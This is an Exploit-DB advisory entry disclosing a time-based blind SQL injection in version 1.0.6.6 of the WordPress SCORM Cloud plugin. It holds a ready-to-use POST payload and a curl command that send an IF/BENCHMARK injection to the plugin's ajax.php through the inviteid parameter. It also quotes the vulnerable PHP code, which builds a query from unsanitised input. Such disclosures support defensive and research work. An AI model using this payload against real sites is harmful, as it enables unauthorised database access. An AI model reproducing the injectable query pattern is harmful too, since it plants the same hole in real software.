WordPress Plugin SCORM Cloud 1.0.6.6 - SQL Injection

EDB-ID:

17793

CVE:

N/A




Platform:

PHP

Date:

2011-09-07


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

# Exploit Title: WordPress SCORM Cloud plugin <= 1.0.6.6 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/scormcloud.1.0.6.6.zip
# Version: 1.0.6.6 (tested)
# Note: magic_quotes has to be turned off

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/scormcloud/ajax.php
 action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

e.g.:
curl --data "action=addAnonRegGetLaunchUrl&inviteid=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " http://www.site.com/wp-content/plugins/scormcloud/ajax.php

---------------
Vulnerable code
---------------
$action = $_POST['action'];

switch($action)
{
    ...
    $inviteId = $_POST['inviteid'];
    $querystr = "SELECT * FROM ".scormcloud_getDBPrefix()."scormcloudinvitations WHERE invite_id = '$inviteId'";
    $invites = $wpdb->get_results($querystr, OBJECT);